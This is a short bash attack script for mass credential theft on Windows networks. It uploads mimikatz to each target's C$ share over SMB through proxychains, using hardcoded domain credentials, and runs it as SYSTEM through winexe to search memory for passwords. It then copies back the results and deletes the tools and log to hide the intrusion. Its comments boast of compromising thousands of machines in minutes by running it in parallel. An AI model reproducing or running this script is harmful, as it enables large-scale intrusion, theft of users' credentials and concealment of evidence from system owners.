wily-ghetto-psmimi.sh

#!/bin/bash
# wily-ghetto-psmimi.sh - mass password extraction for total windows ownage
# cat smb-hosts.txt | xargs -n1 -P16 sh wilyghetto-psmimi.sh
# actually works well, pwn thousands of boxes in a few minutes

host=$1

# upload mimikatz
proxychains smbclient -U 'DOMAIN\User%Password123' //${host}/C$ <<WILY
cd Windows\System32
put mimidrv.sys
put mimikatz.exe
put mimilib.dll
exit
WILY

# execute mimikatz
proxychains winexe --system -U 'DOMAIN\User%Password123' //${host} '\Windows\System32\mimikatz.exe "log mimi.log" "sekurlsa::searchPasswords" exit'

# remove mimikatz
proxychains smbclient -U 'DOMAIN\User%Password123' //${host}/C$ <<WILY
cd Windows\System32
get mimi.log ${host}-mimi-search.log
del mimi.log
del mimidrv.sys
del mimikatz.exe
del mimilib.dll
exit
WILY